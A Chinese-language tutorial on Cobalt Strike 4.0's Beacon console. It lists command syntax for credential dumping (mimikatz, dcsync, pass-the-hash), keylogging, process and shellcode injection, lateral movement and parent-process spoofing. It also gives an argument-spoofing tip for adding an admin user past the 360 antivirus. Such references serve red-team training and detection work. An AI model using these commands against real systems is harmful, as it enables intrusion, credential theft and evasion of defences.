之前介绍过Beacon控制台但是并没有详细的讲现在就来详细的说一下相关的Beacon命令以及Script Console模块
Beacon控制台
Beacon控制台这是一个非常常用的地方攻击者在这里输入指令并等待执行显示结果,这里是输入命令和显示相关信息的地方,向 Beacon 发出的每个命令,无论是通过 GUI 还是控制台,都会在此窗口中显示出来。如果一个队友发送了一个命令Beacon则在显示时会在命令前显示他们的昵称
Beacon是异步有效负载。命令不会立即执行。每个命令都进入队列。当Beacon回连时,它将接收这些命令并逐个执行,然后Beacon会将所有的输出显示在Beacon控制台上。如果不小心误输入,可以使用clear命令清除当前Beacon的命令队列(在Beacon还没有回连接收任务前,如果Beacon已经回连接收到了命令那么clear命令是不起作用的)。
默认情况下,Beacon每60秒连接检查一次,可以使用sleep命令更改此设置。sleep以秒为单位指定Beacon检查的频率。如sleep 5(每5秒钟检查一次)。还可以指定0到99之间为第二个参数。此参数为随机数。Beacon会根据指定的随机百分比来改变每个检查的时间。如,sleep 300 20将使Beacon以20%的随机数睡眠300秒。这将使Beacon在240到300秒之间随机检查一次。
如果设置sleep 0这将使用交互模式。在交互模式下,命令将立即执行。如果你要使用隧道你必须使得你的 Beacon 处于交互模式下。一些 Beacon 命令 (如 browerpivot 、desktop 等)会自动的使 Beacon 在下次连接到你时处于交互式模式下。
Beacon命令
下面介绍CS 4.0 Beacon中全部命令同时部分命令相关的原理我会放到原理介绍中讲
help 帮助命令显示全部命令help xxx 显示某个命令的详细信息
argue 进程参数欺骗argue [command] [fake arguments]argue 命令 假参数 欺骗某个命令参数argue [command]argue 命令 取消欺骗某个命令参数利用这个也可以绕过360添加用户(非核晶模式非x86)比如:argue net1 /hello /hello /hello /hello /hellorun net1 user admin 123451 /add注:假参数需要比真命令长
blockdlls 阻止子进程加载非微软签名的dllblockdlls [start|stop]blockdlls start 启动此策略blockdlls stop 关闭此策略启动此策略后创建的子进程加载非微软签名的dll时会被阻止注:此特性是windows10自身特性,需要目标为windows10才能成功启用
browserpivot 浏览器代理前面介绍过browserpivot [pid] [x86|x64]browserpivot [stop]
cancel 取消正在进行的文件下载cancel filename
covertvpn 部署Covert VPN客户端,注:没啥用的功能不做介绍covertvpn [interface] [ip address]
connect 连接到一个TCP Beaconconnect [target] [port]
dcsync 从域控中提取密码哈希dcsync [DOMAIN.FQDN] 提取所有帐户的密码哈希dcsync [DOMAIN.FQDN] [DOMAIN\user] 特定用户的
desktop VNC远程桌面desktop pid [x86|x64] low|high 将vnc服务dll注入到指定进程中运行注:需要确保cs服务端有vnc dll
dllinject 反射dll进程注入dllinject pid dllpath注:路径为本机路径
dllload 使用LoadLibrary函数进行dll注入dllload pid dllpath 注:LoadLibrary函数 dll注入,目标机上必须存在被注入的dll
download 下载目标机文件download filepath
elevate 提权并生成一个高权限会话elevate [exploit] [listener]
execute 执行程序(无回显)execute [program] [arguments]
execute-assembly 内存加载执行.NET程序集execute-assembly .netpath [arguments]注:就是普通的内存加载执行.net程序
getprivs 启用当前访问令牌所拥有的特权注:你可以通过shell whoami /all查看详细信息
getsystem 尝试模拟一个SYSTEM账号的令牌获取System权限
inject 在指定进程中派生会话inject [pid] [listener]
inline-execute 在Beacon会话中执行Beacon Object File (BOF)inline-execute [/path/to/file.o] [args]注:后面会详细讲解
jobs 查看后渗透任务列表Beacon中有些功能会在其他进程中运行(例如键盘记录屏幕截图)这些任务在后台中运行,并在可用时报告其输出可以使用jobs查看Beacon中的所有任务
jobkill 结束一个在后台运行jobkill [JID]
jump 在远程主机上执行payload生成一个会话jump [exploit] [target] [listener]此命令通过横向渗透在目标上执行payload生成会话(psexec winrm)
kerberos_ticket_purge 清除当前shell的Kerberos票据kerberos_ccache_use 从ccache文件中导入Kerberos票据kerberos_ccache_use [/path/to/file.ccache]kerberos_ticket_use 从ticket文件中导入Kerberos票据kerberos_ticket_use [/path/to/file.ticket]注:域渗透相关
keylogger 将键盘记录器注入到一个进程运行keylogger [pid] [x86|x64] 注入到指定进程注:不带任何参数则临时生成一个进程注入
link 前面介绍过了是用来连接SMB Beacon的link ip pipe name
logonpasswords 执行mimikatz获取密码
make_token 创建令牌前面有说过make_token username pass
mimikatz 执行mimikatz命令mimikatz [module::command] mimikatz [!module::command] mimikatz [@module::command] 注:有些mimikatz命令需要system权限才能运行!代表强制将mimikatz提升到SYSTEM,然后再运行命令有些则需要使用Beacon当前访问令牌运行@代表强制mimikatz使用Beacon当前访问令牌运行命令
mode dns 使用DNS A作为数据通道(仅限DNS Beacon有效)mode dns6 使用DNS AAAA作为数据通道(仅限DNS Beacon有效)mode dns-txt 使用DNS TXT作为数据通道(仅限DNS Beacon有效)注:DNS Beacon默认使用DNS TXT作为数据通道
portscan 扫描端口portscan [targets] [ports] [arplicmp Inone] [max connections]注:前面有说过
powerpick 非托管powershell技术powerpick [commandlet] [arguments]注:非托管powershell技术就是不使用powershell.exe程序来执行powershell命令
powershell 通过powershell.exe执行命令powershell-import 导入Powershell脚本
ppid 父进程欺骗ppid [pid] 将指定进程作为父进程ppid 直接执行ppid取消父进程欺骗注:父进程欺骗顾名思义就是伪造子进程的父进程为指定进程。这个听起来有点绕其实以前对抗过某杀软的应该都知道过父都是为了达到同一个目的
psinject 在指定进程中执行PowerShell命令psinject [pid] [arch] [commandLet] [arguments]
pth hash传递攻击pth [DOMAIN\user] [NTLM hash]
reg 注册表查询命令(仅能查询)reg query [x86|x64] [root\path]reg queryv [x86|x64] [root\path] [subkey]
remote-exec 在远程主机上执行命令remote-exec [method] [target] [command]和上面那个在远程主机上执行payload生成会话的没啥区别只不过变成了执行命令
rportfwd 反向端口转发rportfwd [bind port] [forward host] [forward port] 开启端口转发rportfwd stop [bind port] 停止指定端口转发rportfwd 本机端口 目标ip 目标端口 注:将指定的本机端口转发到目标ip的目标端口
run 在目标上执行程序(输出回显)run [program] [arguments]
runas 以其他用户权限执行程序runas [DOMAIN\user] [password] [command] [arguments]注:相当于windows的runas命令
runasadmin 提权后执行命令runasadmin [exploit] [command] [args]注:与前面的elevate命令相似只不过变成了提权执行命令
runu 父进程欺骗runu [pid] [command] [arguments]注:与ppid差不多,runu使用指定进程作为父进程来执行命令
shinject shellcode注入shinject [pid] shellcode_raw_path注:使用时注意目标进程架构
socks SOCKS4代理(不建议使用)socks [stop|port] 停止或在指定端口开启代理
spawn 派生会话spawn [x86|x64] [listener]注:默认情况下,spawn命令会在rundll32.exe中派生会话可以使用spawnto改变此默认
spawnas 以其他用户身份派生会话spawnas [DOMAIN\user] [password] [listener]
spawnto 设置Beacon派生会话时使用的程序spawnto [x86|x64] [程序路径]注:此命令用来更改Beacon默认派生会话时使用的程序,比如spawnto x64 C:\Windows\System32\notepad.exe在派生一个新的x64会话时就会启动一个notepad进程来作为傀儡直接输入spawnto回车代表清除设置使用默认配置
spawnu 在指定进程中派生会话spawnu [pid] [listener]
ssh 使用ssh密码远程连接ssh [target:port] [user] [pass]注:通过Beacon内置的ssh客户端实现
ssh-key 使用SSH密钥远程连接ssh [target:port] [user] [/path/to/key.pem]注:和上一个没啥区别
steal_token 从进程中窃取访问令牌steal_token [pid]注:可以使用getuid命令会打印你的当前令牌,rev2self恢复的原始令牌。
Script Console
? 执行sleep判断语句并输出结果e 执行sleep说明语句help 帮助load 加载一个脚本ls 列出加载的所有脚本proff 关闭脚本分析器pron 为开启脚本分析器profile 脚本性能统计reload 重新加载脚本troff 关闭脚本跟踪功能tron 开启脚本跟踪功能unload 卸载脚本x 执行sleep表达式并输出结果